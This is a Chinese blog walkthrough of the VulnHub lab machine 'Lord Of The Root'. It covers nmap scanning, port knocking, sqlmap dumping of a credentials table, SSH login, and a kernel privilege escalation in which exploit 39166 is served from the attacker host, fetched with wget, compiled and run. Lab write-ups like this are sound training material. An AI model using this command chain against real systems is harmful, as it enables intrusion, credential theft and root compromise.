渗透项目(六):LORD OF THE ROOT

发布于:2022-11-09 ⋅ 阅读:(12) ⋅ 点赞:(0) ⋅ 评论:(0)

靶机地址:Lord Of The Root: 1.0.1 ~ VulnHub

1、LORD OF THE ROOT考察点:

1)信息收集:

1、nmap挖掘信息。2、端口碰撞。3、信息页面枚举。

2)SQLmap注入:

1、爆破数据库。2、爆破表。3、爆破字段。

3)暴力破解:

1、MSF爆破拿shell。2、Hydra爆破ssh

4)提权:

1、内核提权。2、Mysql UDF sys_exec/sys_eval提权。3、反弹、创建用户

2、渗透过程

1)、将下载好的靶机解压到VMware中打开。

2)、打开kali,查看本机ip地址,同时查看同网段的地址输入:

ifconfig     #查看到ip地址为192.168.44.128

nmap -sP 192.168.44.1/24     #查看同网段存活的主机

发现靶机192.168.44.130

 3)、查看靶机开放端口

nmap -p- 192.168.44.130

发现22端口,尝试去连接,填写yes发现信息:Easy as 1,2,3

ssh 192.168.44.130

 这里的意思是要敲震端口3次。

注:端口碰撞(port knocking)是一种通过连接尝试,从外部打开原先关闭端口的方法。一旦收到正确顺序的连接尝试,防火墙就会动态打开一些特定的端口给允许尝试连接的主机。

端口试探的主要目的是防治攻击者通过端口扫描的方式对主机进行攻击。端口试探类似于一次秘密握手协议,比如一种最基本的方式:发送一定序列的UDP、TCP数据包。当运行在主机上的daemon程序捕捉到数据包以后,如果这个序列正确,则开启相应的端口,或者防火墙允许客户端通过。

由于对外的Linux服务器通过限制IP地址的方式来控制访问,因此可以利用这种端口试探方式来进行防火墙对于访问IP地址的控制。

4)碰撞的方法:

首先得知道端口碰撞的序列,否则暴力碰撞开启的机会过小。

1、使用knock命令,如若没有,请自行安装apt install knockd

使用:knock ip port1 port2 port3 -v

例如:knock 192.168.44.130 1 2 3 -v

 或者使用hping3:TCP/IP数据包组装/分析工具

hping3 -S ip -p 1 -c 1

例如:

hping3 -S 192.168.44.130 -p 1 -c 1

hping3 -S 192.168.44.130 -p 2 -c 1

hping3 -S 192.168.44.130 -p 3 -c 1

-S(--syn):SYN是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN-ACK应答表示接收到了这个消息,最后客户机再以ACK消息响应。这样在客户机和服务器之间才能建立起可靠的TCP连接,数据才可以在客户机和服务器之间传递。

-p --destport: 目的端口(默认为0),可同时指定多个端口

-c --count:指定数据包的次数

5)重新查看端口情况:nmap -p- 192.168.44.130

发现了新的端口:

6)信息枚举:

在浏览器输入:http://192.168.44.130:1337/robots.txt

  

没发现什么东西,用F12查看发现了:

利用kali的base64转码:

echo 'THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh' | base64 -d

发现还是,继续转码:

 echo 'Lzk3ODM0NTIxMC9pbmRleC5waHA=' | base64 -d   

发现了新的目录,输入后 

发现了登录界面,可以利用sql注入尝试一下 

7)SQLmap注入:

爆破数据库信息:

sqlmap -o -u "http://192.168.44.130:1337/978345210/index.php" --forms --dbs

-o:开启所有优化开关

--forms参数,sqlmap会自动从-u中的url获取页面中的表单进行测试

一路回车后,爆破时间有个几分钟,需等待

爆出数据库:

爆破数据库表名:

sqlmap -o -u "http://192.168.44.130:1337/978345210/index.php" --forms -D Webapp --tables

可以看到Users数据表,继续查看数据表信息!

Users
Database: Webapp
[1 table]
+-------+
| Users |
+-------+
 

爆破数据库表字段信息:

sqlmap -o -u "http://192.168.44.130:1337/978345210/index.php" --forms -D Webapp -T Users --columns

(-D dbname指定数据库名称、-T tablename:指定某数据表的名称、--columns:列出指定表上的所有列)

可看到数据库Webapp的表Users中存在字段id,password,username信息!

Database: Webapp
Table: Users
[3 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| id       | int(10)      |
| password | varchar(255) |
| username | varchar(255) |
+----------+--------------+
 

爆破字段内容信息:

sqlmap -o -u "http://192.168.44.130:1337/978345210/index.php" --forms -D Webapp -T Users --columns -C id,username,password --dump

(-D dbname:指定数据库名称、-T tablename:指定某数据表名称、-C Cnmme:指定列名、--dump:导出列里面的字段)

获得用户名密码,将其粘贴到本地,利用hydra去爆破下ssh 

Database: Webapp
Table: Users
[5 entries]
+----+----------+------------------+
| id | username | password         |
+----+----------+------------------+
| 1  | frodo    | iwilltakethering |
| 2  | smeagol  | MyPreciousR00t   |
| 3  | aragorn  | AndMySword       |
| 4  | legolas  | AndMyBow         |
| 5  | gimli    | AndMyAxe         |
+----+----------+------------------+

8)然后利用ssh登录提权:

ssh smeagol@192.168.44.130

password:MyPreciousR00t

知道密码,首先利用sudo看是否可以提权,尝试后,不可提权,然后输入lsb_release -a 查看系统版本,然后去浏览器查询相应的exp

在kali中搜索39166

searchsploit 39166

locate linux/local/39166.c

cp /usr/share/exploitdb/exploits/linux/local/39166.c  /home/kali/lord

在kali中开启http服务:

python -m http.server 8082

然后远程ssh登录该靶机:

进入/tmp目录下

wget http://192.168.44.128:8082/lord/39166.c

然后编译39166.c

gcc 39166.c -o xiaoli

chmod +x xiaoli

./xiaoli

发现提权成功,然后进入/root目录下,查看到Flag.txt

本次渗透结束,提权的方法有很多种,比如这个靶机中,可以利用Linux内核提权,也可以尝试Mysql UDF提权,之前的渗透中有提到过Mysql的UDF提权,操作基本一致,感兴趣的同学可以自己去尝试下。